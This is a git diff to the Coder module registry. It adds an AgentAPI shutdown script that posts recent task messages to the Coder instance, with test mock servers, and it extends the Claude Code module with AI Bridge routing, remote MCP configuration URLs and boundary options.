b/registry/coder/modules/agentapi/scripts/agentapi-shutdown.sh new file mode 100644 index 00000000..bbee7628 --- /dev/null +++ b/registry/coder/modules/agentapi/scripts/agentapi-shutdown.sh @@ -0,0 +1,212 @@ +#!/usr/bin/env bash +# AgentAPI shutdown script. +# +# Captures the last 10 messages from AgentAPI and posts them to Coder instance +# as a snapshot. This script is called during workspace shutdown to access +# conversation history for paused tasks. + +set -euo pipefail + +# Configuration (set via Terraform interpolation). +readonly TASK_ID="${ARG_TASK_ID:-}" +readonly TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}" +readonly AGENTAPI_PORT="${ARG_AGENTAPI_PORT:-3284}" + +# Runtime environment variables. +readonly CODER_AGENT_URL="${CODER_AGENT_URL:-}" +readonly CODER_AGENT_TOKEN="${CODER_AGENT_TOKEN:-}" + +# Constants. +readonly MAX_PAYLOAD_SIZE=65536 # 64KB +readonly MAX_MESSAGE_CONTENT=57344 # 56KB +readonly MAX_MESSAGES=10 +readonly FETCH_TIMEOUT=5 +readonly POST_TIMEOUT=10 + +log() { + echo "$*" +} + +error() { + echo "Error: $*" >&2 +} + +fetch_and_build_messages_payload() { + local payload_file="$1" + local messages_url="http://localhost:${AGENTAPI_PORT}/messages" + + log "Fetching messages from AgentAPI on port $AGENTAPI_PORT" + + if ! curl -fsSL --max-time "$FETCH_TIMEOUT" "$messages_url" > "$payload_file"; then + error "Failed to fetch messages from AgentAPI (may not be running)" + return 1 + fi + + # Update messages field to keep only last N messages. + if ! jq --argjson n "$MAX_MESSAGES" '.messages |= .[-$n:]' < "$payload_file" > "${payload_file}.tmp"; then + error "Failed to select last $MAX_MESSAGES messages" + return 1 + fi + mv "${payload_file}.tmp" "$payload_file" + + return 0 +} + +truncate_messages_payload_to_size() { + local payload_file="$1" + local max_size="$2" + + while true; do + local size + size=$(wc -c < "$payload_file") + + if ((size <= max_size)); then + break + fi + + local count + count=$(jq '.messages | length' < "$payload_file") + + if ((count == 1)); then + # Down to last message, truncate its content keeping the tail. + log "Payload size $size bytes exceeds limit, truncating final message content" + + # Keep tail of content with truncation indicator, leaving room for JSON + # overhead. + if ! jq --argjson maxlen "$MAX_MESSAGE_CONTENT" '.messages[0].content |= (if length > $maxlen then "[...content truncated, showing last 56KB...]\n\n" + .[-$maxlen:] else . end)' < "$payload_file" > "${payload_file}.tmp"; then + error "Failed to truncate message content" + return 1 + fi + mv "${payload_file}.tmp" "$payload_file" + + # Verify the truncation was sufficient. + size=$(wc -c < "$payload_file") + if ((size > max_size)); then + error "Payload still too large after content truncation, giving up" + return 1 + fi + break + else + # More than one message, remove the oldest. + log "Payload size $size bytes exceeds limit, removing oldest message" + + if ! jq '.messages |= .[1:]' < "$payload_file" > "${payload_file}.tmp"; then + error "Failed to remove oldest message" + return 1 + fi + mv "${payload_file}.tmp" "$payload_file" + fi + done + + return 0 +} + +post_task_log_snapshot() { + local payload_file="$1" + local tmpdir="$2" + + local snapshot_url="${CODER_AGENT_URL}/api/v2/workspaceagents/me/tasks/${TASK_ID}/log-snapshot?format=agentapi" + local response_file="${tmpdir}/response.txt" + + log "Posting log snapshot to Coder instance" + + local http_code + if ! http_code=$(curl -sS -w "%{http_code}" -o "$response_file" \ + --max-time "$POST_TIMEOUT" \ + -X POST "$snapshot_url" \ + -H "Coder-Session-Token: $CODER_AGENT_TOKEN" \ + -H "Content-Type: application/json" \ + --data-binary "@$payload_file"); then + error "Failed to connect to Coder instance (curl failed)" + return 1 + fi + + if [[ $http_code == 204 ]]; then + log "Log snapshot posted successfully" + return 0 + elif [[ $http_code == 404 ]]; then + log "Log snapshot endpoint not supported by this Coder version, skipping" + return 0 + else + local response + response=$(cat "$response_file" 2> /dev/null || echo "") + error "Failed to post log snapshot (HTTP $http_code): $response" + return 1 + fi +} + +capture_task_log_snapshot() { + if [[ -z $TASK_ID ]]; then + log "No task ID, skipping log snapshot" + exit 0 + fi + + if [[ -z $CODER_AGENT_URL ]]; then + error "CODER_AGENT_URL not set, cannot capture log snapshot" + exit 1 + fi + + if [[ -z $CODER_AGENT_TOKEN ]]; then + error "CODER_AGENT_TOKEN not set, cannot capture log snapshot" + exit 1 + fi + + if ! command -v jq > /dev/null 2>&1; then + error "jq not found, cannot capture log snapshot" + exit 1 + fi + + if ! command -v curl > /dev/null 2>&1; then + error "curl not found, cannot capture log snapshot" + exit 1 + fi + + tmpdir=$(mktemp -d) + trap 'rm -rf "$tmpdir"' EXIT + + local payload_file="${tmpdir}/payload.json" + + if ! fetch_and_build_messages_payload "$payload_file"; then + error "Cannot capture log snapshot without messages" + exit 1 + fi + + local message_count + message_count=$(jq '.messages | length' < "$payload_file") + if ((message_count == 0)); then + log "No messages for log snapshot" + exit 0 + fi + + log "Retrieved $message_count messages for log snapshot" + + # Ensure payload fits within size limit. + if ! truncate_messages_payload_to_size "$payload_file" "$MAX_PAYLOAD_SIZE"; then + error "Failed to truncate payload to size limit" + exit 1 + fi + + local final_size final_count + final_size=$(wc -c < "$payload_file") + final_count=$(jq '.messages | length' < "$payload_file") + log "Log snapshot payload: $final_size bytes, $final_count messages" + + if ! post_task_log_snapshot "$payload_file" "$tmpdir"; then + error "Log snapshot capture failed" + exit 1 + fi +} + +main() { + log "Shutting down AgentAPI" + + if [[ $TASK_LOG_SNAPSHOT == true ]]; then + capture_task_log_snapshot + else + log "Log snapshot disabled, skipping" + fi + + log "Shutdown complete" +} + +main "$@" diff --git a/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh b/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh index 6e18332f..6ae5b14a 100644 --- a/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh +++ b/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh @@ -3,20 +3,22 @@ set -o errexit set -o pipefail port=${1:-3284} +max_attempts=150 -# This script waits for the agentapi server to start on port 3284. +# This script waits for the agentapi server to start on the given port. +# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds. # It considers the server started after 3 consecutive successful responses. agentapi_started=false echo "Waiting for agentapi server to start on port $port..." -for i in $(seq 1 150); do +for i in $(seq 1 "$max_attempts"); do for j in $(seq 1 3); do sleep 0.1 if curl -fs -o /dev/null "http://localhost:$port/status"; then echo "agentapi response received ($j/3)" else - echo "agentapi server not responding ($i/15)" + echo "agentapi server not responding ($i/$max_attempts)" continue 2 fi done @@ -25,7 +27,7 @@ for i in $(seq 1 150); do done if [ "$agentapi_started" != "true" ]; then - echo "Error: agentapi server did not start on port $port after 15 seconds." + echo "Error: agentapi server did not start on port $port after $max_attempts attempts." exit 1 fi diff --git a/registry/coder/modules/agentapi/scripts/main.sh b/registry/coder/modules/agentapi/scripts/main.sh index 3875430e..63e013eb 100644 --- a/registry/coder/modules/agentapi/scripts/main.sh +++ b/registry/coder/modules/agentapi/scripts/main.sh @@ -14,6 +14,8 @@ WAIT_FOR_START_SCRIPT="$ARG_WAIT_FOR_START_SCRIPT" POST_INSTALL_SCRIPT="$ARG_POST_INSTALL_SCRIPT" AGENTAPI_PORT="$ARG_AGENTAPI_PORT" AGENTAPI_CHAT_BASE_PATH="${ARG_AGENTAPI_CHAT_BASE_PATH:-}" +TASK_ID="${ARG_TASK_ID:-}" +TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}" set +o nounset command_exists() { @@ -23,6 +25,13 @@ command_exists() { module_path="$HOME/${MODULE_DIR_NAME}" mkdir -p "$module_path/scripts" +# Check for jq dependency if task log snapshot is enabled. +if [[ $TASK_LOG_SNAPSHOT == true ]] && [[ -n $TASK_ID ]]; then + if ! command_exists jq; then + echo "Warning: jq is not installed. Task log snapshot requires jq to capture conversation history." + echo "Install jq to enable log snapshot functionality when the workspace stops." + fi +fi if [ ! -d "${WORKDIR}" ]; then echo "Warning: The specified folder '${WORKDIR}' does not exist." echo "Creating the folder..." diff --git a/registry/coder/modules/agentapi/testdata/agentapi-mock-shutdown.js b/registry/coder/modules/agentapi/testdata/agentapi-mock-shutdown.js new file mode 100644 index 00000000..c6b0fb7f --- /dev/null +++ b/registry/coder/modules/agentapi/testdata/agentapi-mock-shutdown.js @@ -0,0 +1,84 @@ +#!/usr/bin/env node +// Mock AgentAPI server for shutdown script tests. +// Usage: MESSAGES='[...]' node agentapi-mock-shutdown.js [port] + +const http = require("http"); +const port = process.argv[2] || 3284; + +// Parse messages from environment or use default +let messages = []; +if (process.env.MESSAGES) { + try { + messages = JSON.parse(process.env.MESSAGES); + } catch (e) { + console.error("Failed to parse MESSAGES env var:", e.message); + process.exit(1); + } +} + +// Presets for common test scenarios +if (process.env.PRESET === "normal") { + messages = [ + { id: 1, type: "input", content: "Hello", time: "2025-01-01T00:00:00Z" }, + { + id: 2, + type: "output", + content: "Hi there", + time: "2025-01-01T00:00:01Z", + }, + { + id: 3, + type: "input", + content: "How are you?", + time: "2025-01-01T00:00:02Z", + }, + { + id: 4, + type: "output", + content: "Good!", + time: "2025-01-01T00:00:03Z", + }, + { id: 5, type: "input", content: "Great", time: "2025-01-01T00:00:04Z" }, + ]; +} else if (process.env.PRESET === "many") { + messages = Array.from({ length: 15 }, (_, i) => ({ + id: i + 1, + type: "input", + content: `Message ${i + 1}`, + time: "2025-01-01T00:00:00Z", + })); +} else if (process.env.PRESET === "huge") { + messages = [ + { + id: 1, + type: "output", + content: "x".repeat(70000), + time: "2025-01-01T00:00:00Z", + }, + ]; +} + +const server = http.createServer((req, res) => { + if (req.url === "/messages") { + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ messages })); + } else if (req.url === "/status") { + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ status: "stable" })); + } else { + res.writeHead(404); + res.end(); + } +}); + +server.listen(port, () => { + console.error(`Mock AgentAPI listening on port ${port}`); +}); + +process.on("SIGTERM", () => { + server.close(() => process.exit(0)); +}); + +process.on("SIGINT", () => { + server.close(() => process.exit(0)); +}); diff --git a/registry/coder/modules/agentapi/testdata/coder-instance-mock.js b/registry/coder/modules/agentapi/testdata/coder-instance-mock.js new file mode 100644 index 00000000..6d99215d --- /dev/null +++ b/registry/coder/modules/agentapi/testdata/coder-instance-mock.js @@ -0,0 +1,61 @@ +#!/usr/bin/env node +// Mock Coder instance server for shutdown script tests. +// Captures POST requests to /log-snapshot endpoint. + +const http = require("http"); +const fs = require("fs"); +const port = process.argv[2] || 8080; +const outputFile = process.env.OUTPUT_FILE || "/tmp/snapshot-posted.json"; +const httpCode = parseInt(process.env.HTTP_CODE || "204", 10); + +const server = http.createServer((req, res) => { + const url = new URL(req.url, `http://localhost:${port}`); + + // Expected path: /api/v2/workspaceagents/me/tasks/{task_id}/log-snapshot + const pathMatch = url.pathname.match(/\/tasks\/([^\/]+)\/log-snapshot$/); + + if (req.method === "POST" && pathMatch) { + const taskId = pathMatch[1]; + let body = ""; + req.on("data", (chunk) => { + body += chunk.toString(); + }); + + req.on("end", () => { + // Save captured snapshot with task ID for verification + const snapshotData = { + task_id: taskId, + payload: JSON.parse(body), + }; + fs.writeFileSync(outputFile, JSON.stringify(snapshotData, null, 2)); + console.error( + `Captured snapshot for task ${taskId} (${body.length} bytes) to ${outputFile}`, + ); + + // Return configured status code + res.writeHead(httpCode); + res.end(); + }); + + req.on("error", (err) => { + console.error("Request error:", err); + res.writeHead(500); + res.end(); + }); + } else { + res.writeHead(404); + res.end(); + } +}); + +server.listen(port, () => { + console.error(`Mock Coder instance listening on port ${port}`); +}); + +process.on("SIGTERM", () => { + server.close(() => process.exit(0)); +}); + +process.on("SIGINT", () => { + server.close(() => process.exit(0)); +}); diff --git a/registry/coder/modules/antigravity/README.md b/registry/coder/modules/antigravity/README.md index ed5882b2..734cbef4 100644 --- a/registry/coder/modules/antigravity/README.md +++ b/registry/coder/modules/antigravity/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "antigravity" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/antigravity/coder" - version = "1.0.0" + version = "1.0.1" agent_id = coder_agent.example.id } ``` @@ -29,7 +29,7 @@ module "antigravity" { module "antigravity" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/antigravity/coder" - version = "1.0.0" + version = "1.0.1" agent_id = coder_agent.example.id folder = "/home/coder/project" } @@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a module "antigravity" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/antigravity/coder" - version = "1.0.0" + version = "1.0.1" agent_id = coder_agent.example.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/antigravity/main.tf b/registry/coder/modules/antigravity/main.tf index 27c6166d..81ccd1c8 100644 --- a/registry/coder/modules/antigravity/main.tf +++ b/registry/coder/modules/antigravity/main.tf @@ -66,15 +66,15 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.1" + version = "1.0.2" agent_id = var.agent_id - web_app_icon = "/icon/antigravity.svg" - web_app_slug = var.slug - web_app_display_name = var.display_name - web_app_order = var.order - web_app_group = var.group + coder_app_icon = "/icon/antigravity.svg" + coder_app_slug = var.slug + coder_app_display_name = var.display_name + coder_app_order = var.order + coder_app_group = var.group folder = var.folder open_recent = var.open_recent diff --git a/registry/coder/modules/claude-code/README.md b/registry/coder/modules/claude-code/README.md index ce7810a8..340eb175 100644 --- a/registry/coder/modules/claude-code/README.md +++ b/registry/coder/modules/claude-code/README.md @@ -3,7 +3,7 @@ display_name: Claude Code description: Run the Claude Code agent in your workspace. icon: ../../../../.icons/claude.svg verified: true -tags: [agent, claude-code, ai, tasks, anthropic] +tags: [agent, claude-code, ai, tasks, anthropic, aibridge] --- # Claude Code @@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -42,36 +42,85 @@ By default, Claude Code automatically resumes existing conversations when your w This example shows how to configure the Claude Code module to run the agent behind a process-level boundary that restricts its network access. +By default, when `enable_boundary = true`, the module uses `coder boundary` subcommand (provided by Coder) without requiring any installation. + ```tf module "claude-code" { - source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" - agent_id = coder_agent.main.id - workdir = "/home/coder/project" - enable_boundary = true - boundary_version = "v0.5.1" + source = "registry.coder.com/coder/claude-code/coder" + version = "4.7.5" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" + enable_boundary = true } ``` -### Usage with Tasks and Advanced Configuration - -This example shows how to configure the Claude Code module with an AI prompt, API key shared by all users of the template, and other custom settings. - > [!NOTE] -> When a specific `claude_code_version` (other than "latest") is provided, the module will install Claude Code via npm instead of the official installer. This allows for version pinning. The `claude_binary_path` variable can be used to specify where a pre-installed Claude binary is located. +> For developers: The module also supports installing boundary from a release version (`use_boundary_directly = true`) or compiling from source (`compile_boundary_from_source = true`). These are escape hatches for development and testing purposes. + +### Usage with AI Bridge + +[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version >= 2.29.0. + +For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below. + +#### Standalone usage with AI Bridge ```tf -data "coder_parameter" "ai_prompt" { - type = "string" - name = "AI Prompt" - default = "" - description = "Initial task prompt for Claude Code." - mutable = true +module "claude-code" { + source = "registry.coder.com/coder/claude-code/coder" + version = "4.7.5" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" + enable_aibridge = true +} +``` + +When `enable_aibridge = true`, the module automatically sets: + +- `ANTHROPIC_BASE_URL` to `${data.coder_workspace.me.access_url}/api/v2/aibridge/anthropic` +- `CLAUDE_API_KEY` to the workspace owner's session token + +This allows Claude Code to route API requests through Coder's AI Bridge instead of directly to Anthropic's API. +Template build will fail if either `claude_api_key` or `claude_code_oauth_token` is provided alongside `enable_aibridge = true`. + +### Usage with Tasks + +This example shows how to configure Claude Code with Coder tasks. + +```tf +resource "coder_ai_task" "task" { + count = data.coder_workspace.me.start_count + app_id = module.claude-code.task_app_id } +data "coder_task" "me" {} + +module "claude-code" { + source = "registry.coder.com/coder/claude-code/coder" + version = "4.7.5" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" + ai_prompt = data.coder_task.me.prompt + + # Optional: route through AI Bridge (Premium feature) + # enable_aibridge = true +} +``` + +### Advanced Configuration + +This example shows additional configuration options for version pinning, custom models, and MCP servers. + +> [!NOTE] +> The `claude_binary_path` variable can be used to specify where a pre-installed Claude binary is located. + +> [!WARNING] +> **Deprecation Notice**: The npm installation method (`install_via_npm = true`) will be deprecated and removed in the next major release. Please use the default binary installation method instead. + +```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" @@ -79,13 +128,11 @@ module "claude-code" { # OR claude_code_oauth_token = "xxxxx-xxxx-xxxx" - claude_code_version = "2.0.62" # Pin to a specific version (uses npm) + claude_code_version = "2.0.62" # Pin to a specific version claude_binary_path = "/opt/claude/bin" # Path to pre-installed Claude binary agentapi_version = "0.11.4" - ai_prompt = data.coder_parameter.ai_prompt.value - model = "sonnet" - + model = "sonnet" permission_mode = "plan" mcp = <<-EOF @@ -98,9 +145,30 @@ module "claude-code" { } } EOF + + mcp_config_remote_path = [ + "https://gist.githubusercontent.com/35C4n0r/cd8dce70360e5d22a070ae21893caed4/raw/", + "https://raw.githubusercontent.com/coder/coder/main/.mcp.json" + ] } ``` +> [!NOTE] +> Remote URLs should return a JSON body in the following format: +> +> ```json +> { +> "mcpServers": { +> "server-name": { +> "command": "some-command", +> "args": ["arg1", "arg2"] +> } +> } +> } +> ``` +> +> The `Content-Type` header doesn't matter—both `text/plain` and `application/json` work fine. + ### Standalone Mode Run and configure Claude Code as a standalone CLI in your workspace. @@ -108,7 +176,7 @@ Run and configure Claude Code as a standalone CLI in your workspace. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" install_claude_code = true @@ -130,7 +198,7 @@ variable "claude_code_oauth_token" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_code_oauth_token = var.claude_code_oauth_token @@ -141,7 +209,7 @@ module "claude-code" { #### Prerequisites -AWS account with Bedrock access, Claude models enabled in Bedrock console, appropriate IAM permissions. +AWS account with Bedrock access, Claude models enabled in Bedrock console, and appropriate IAM permissions. Configure Claude Code to use AWS Bedrock for accessing Claude models through your AWS infrastructure. @@ -203,7 +271,7 @@ resource "coder_env" "bedrock_api_key" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" @@ -217,7 +285,7 @@ module "claude-code" { #### Prerequisites -GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, appropriate IAM permissions (Vertex AI User role). +GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, and appropriate IAM permissions (Vertex AI User role). Configure Claude Code to use Google Vertex AI for accessing Claude models through Google Cloud Platform. @@ -260,7 +328,7 @@ resource "coder_env" "google_application_credentials" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.7.5" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "claude-sonnet-4@20250514" diff --git a/registry/coder/modules/claude-code/main.test.ts b/registry/coder/modules/claude-code/main.test.ts index d59b6a8f..19ab98c0 100644 --- a/registry/coder/modules/claude-code/main.test.ts +++ b/registry/coder/modules/claude-code/main.test.ts @@ -461,4 +461,54 @@ EOF`, expect(startLog.stdout).toContain(taskSessionId); expect(startLog.stdout).not.toContain("manual-456"); }); + + test("mcp-config-remote-path", async () => { + const failingUrl = "http://localhost:19999/mcp.json"; + const successUrl = + "https://raw.githubusercontent.com/coder/coder/main/.mcp.json"; + + const { id, coderEnvVars } = await setup({ + skipClaudeMock: true, + moduleVariables: { + mcp_config_remote_path: JSON.stringify([failingUrl, successUrl]), + }, + }); + await execModuleScript(id, coderEnvVars); + + const installLog = await readFileContainer( + id, + "/home/coder/.claude-module/install.log", + ); + + // Verify both URLs are attempted + expect(installLog).toContain(failingUrl); + expect(installLog).toContain(successUrl); + + // First URL should fail gracefully + expect(installLog).toContain( + `Warning: Failed to fetch MCP configuration from '${failingUrl}'`, + ); + + // Second URL should succeed - no failure warning for it + expect(installLog).not.toContain( + `Warning: Failed to fetch MCP configuration from '${successUrl}'`, + ); + + // Should contain the MCP server add command from successful fetch + expect(installLog).toContain( + "Added stdio MCP server go-language-server to local config", + ); + + expect(installLog).toContain( + "Added stdio MCP server typescript-language-server to local config", + ); + + // Verify the MCP config was added to claude.json + const claudeConfig = await readFileContainer( + id, + "/home/coder/.claude.json", + ); + expect(claudeConfig).toContain("typescript-language-server"); + expect(claudeConfig).toContain("go-language-server"); + }); }); diff --git a/registry/coder/modules/claude-code/main.tf b/registry/coder/modules/claude-code/main.tf index d0681af6..07e3eb5a 100644 --- a/registry/coder/modules/claude-code/main.tf +++ b/registry/coder/modules/claude-code/main.tf @@ -1,5 +1,5 @@ terraform { - required_version = ">= 1.0" + required_version = ">= 1.9" required_providers { coder = { @@ -166,6 +166,12 @@ variable "mcp" { default = "" } +variable "mcp_config_remote_path" { + type = list(string) + description = "List of URLs that return JSON MCP server configurations (text/plain with valid JSON)" + default = [] +} + variable "allowed_tools" { type = string description = "A list of tools that should be allowed without prompting the user for permission, in addition to settings.json files." @@ -202,6 +208,11 @@ variable "claude_binary_path" { type = string description = "Directory where the Claude Code binary is located. Use this if Claude is pre-installed or installed outside the module to a non-default location." default = "$HOME/.local/bin" + + validation { + condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code + error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer always installs to $HOME/.local/bin and does not support custom paths." + } } variable "install_via_npm" { @@ -218,8 +229,8 @@ variable "enable_boundary" { variable "boundary_version" { type = string - description = "Boundary version, valid git reference should be provided (tag, commit, branch)" - default = "main" + description = "Boundary version. When use_boundary_directly is true, a release version should be provided or 'latest' for the latest release. When compile_boundary_from_source is true, a valid git reference should be provided (tag, commit, branch)." + default = "latest" } variable "compile_boundary_from_source" { @@ -228,6 +239,28 @@ variable "compile_boundary_from_source" { default = false } +variable "use_boundary_directly" { + type = bool + description = "Whether to use boundary binary directly instead of coder boundary subcommand. When false (default), uses coder boundary subcommand. When true, installs and uses boundary binary from release." + default = false +} + +variable "enable_aibridge" { + type = bool + description = "Use AI Bridge for Claude Code. https://coder.com/docs/ai-coder/ai-bridge" + default = false + + validation { + condition = !(var.enable_aibridge && length(var.claude_api_key) > 0) + error_message = "claude_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials." + } + + validation { + condition = !(var.enable_aibridge && length(var.claude_code_oauth_token) > 0) + error_message = "claude_code_oauth_token cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials." + } +} + resource "coder_env" "claude_code_md_path" { count = var.claude_md_path == "" ? 0 : 1 agent_id = var.agent_id @@ -248,10 +281,11 @@ resource "coder_env" "claude_code_oauth_token" { } resource "coder_env" "claude_api_key" { - count = length(var.claude_api_key) > 0 ? 1 : 0 + count = local.claude_api_key != "" ? 1 : 0 + agent_id = var.agent_id name = "CLAUDE_API_KEY" - value = var.claude_api_key + value = local.claude_api_key } resource "coder_env" "disable_autoupdater" { @@ -261,18 +295,6 @@ resource "coder_env" "disable_autoupdater" { value = "1" } -resource "coder_env" "claude_binary_path" { - agent_id = var.agent_id - name = "PATH" - value = "${var.claude_binary_path}:$PATH" - - lifecycle { - precondition { - condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code - error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer and npm both install to fixed locations." - } - } -} resource "coder_env" "anthropic_model" { count = var.model != "" ? 1 : 0 @@ -281,6 +303,13 @@ resource "coder_env" "anthropic_model" { value = var.model } +resource "coder_env" "anthropic_base_url" { + count = var.enable_aibridge ? 1 : 0 + agent_id = var.agent_id + name = "ANTHROPIC_BASE_URL" + value = "${data.coder_workspace.me.access_url}/api/v2/aibridge/anthropic" +} + locals { # we have to trim the slash because otherwise coder exp mcp will # set up an invalid claude config @@ -290,7 +319,8 @@ locals { start_script = file("${path.module}/scripts/start.sh") module_dir_name = ".claude-module" # Extract hostname from access_url for boundary --allow flag - coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "") + coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "") + claude_api_key = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key # Required prompts for the module to properly report task status to Coder report_tasks_system_prompt = <<-EOT @@ -345,25 +375,27 @@ module "agentapi" { pre_install_script = var.pre_install_script post_install_script = var.post_install_script start_script = <<-EOT - #!/bin/bash - set -o errexit - set -o pipefail - echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh - chmod +x /tmp/start.sh + #!/bin/bash + set -o errexit + set -o pipefail + echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh + chmod +x /tmp/start.sh - ARG_RESUME_SESSION_ID='${var.resume_session_id}' \ - ARG_CONTINUE='${var.continue}' \ - ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \ - ARG_PERMISSION_MODE='${var.permission_mode}' \ - ARG_WORKDIR='${local.workdir}' \ - ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \ - ARG_REPORT_TASKS='${var.report_tasks}' \ - ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \ - ARG_BOUNDARY_VERSION='${var.boundary_version}' \ - ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \ - ARG_CODER_HOST='${local.coder_host}' \ - /tmp/start.sh - EOT + ARG_RESUME_SESSION_ID='${var.resume_session_id}' \ + ARG_CONTINUE='${var.continue}' \ + ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \ + ARG_PERMISSION_MODE='${var.permission_mode}' \ + ARG_WORKDIR='${local.workdir}' \ + ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \ + ARG_REPORT_TASKS='${var.report_tasks}' \ + ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \ + ARG_BOUNDARY_VERSION='${var.boundary_version}' \ + ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \ + ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \ + ARG_CODER_HOST='${local.coder_host}' \ + ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \ + /tmp/start.sh + EOT install_script = <<-EOT #!/bin/bash @@ -382,6 +414,8 @@ module "agentapi" { ARG_ALLOWED_TOOLS='${var.allowed_tools}' \ ARG_DISALLOWED_TOOLS='${var.disallowed_tools}' \ ARG_MCP='${var.mcp != null ? base64encode(replace(var.mcp, "'", "'\\''")) : ""}' \ + ARG_MCP_CONFIG_REMOTE_PATH='${base64encode(jsonencode(var.mcp_config_remote_path))}' \ + ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \ /tmp/install.sh EOT } diff --git a/registry/coder/modules/claude-code/main.tftest.hcl b/registry/coder/modules/claude-code/main.tftest.hcl index dd9e66a6..e273d321 100644 --- a/registry/coder/modules/claude-code/main.tftest.hcl +++ b/registry/coder/modules/claude-code/main.tftest.hcl @@ -288,3 +288,116 @@ run "test_claude_report_tasks_disabled" { error_message = "System prompt should end with " } } + +run "test_aibridge_enabled" { + command = plan + + variables { + agent_id = "test-agent-aibridge" + workdir = "/home/coder/aibridge" + enable_aibridge = true + } + + override_data { + target = data.coder_workspace_owner.me + values = { + session_token = "mock-session-token" + } + } + + assert { + condition = var.enable_aibridge == true + error_message = "AI Bridge should be enabled" + } + + assert { + condition = coder_env.anthropic_base_url[0].name == "ANTHROPIC_BASE_URL" + error_message = "ANTHROPIC_BASE_URL environment variable should be set" + } + + assert { + condition = length(regexall("/api/v2/aibridge/anthropic", coder_env.anthropic_base_url[0].value)) > 0 + error_message = "ANTHROPIC_BASE_URL should point to AI Bridge endpoint" + } + + assert { + condition = coder_env.claude_api_key[0].name == "CLAUDE_API_KEY" + error_message = "CLAUDE_API_KEY environment variable should be set" + } + + assert { + condition = coder_env.claude_api_key[0].value == data.coder_workspace_owner.me.session_token + error_message = "CLAUDE_API_KEY should use workspace owner's session token when aibridge is enabled" + } +} + +run "test_aibridge_validation_with_api_key" { + command = plan + + variables { + agent_id = "test-agent-validation" + workdir = "/home/coder/test" + enable_aibridge = true + claude_api_key = "test-api-key" + } + + expect_failures = [ + var.enable_aibridge, + ] +} + +run "test_aibridge_validation_with_oauth_token" { + command = plan + + variables { + agent_id = "test-agent-validation" + workdir = "/home/coder/test" + enable_aibridge = true + claude_code_oauth_token = "test-oauth-token" + } + + expect_failures = [ + var.enable_aibridge, + ] +} + +run "test_aibridge_disabled_with_api_key" { + command = plan + + variables { + agent_id = "test-agent-no-aibridge" + workdir = "/home/coder/test" + enable_aibridge = false + claude_api_key = "test-api-key-xyz" + } + + assert { + condition = var.enable_aibridge == false + error_message = "AI Bridge should be disabled" + } + 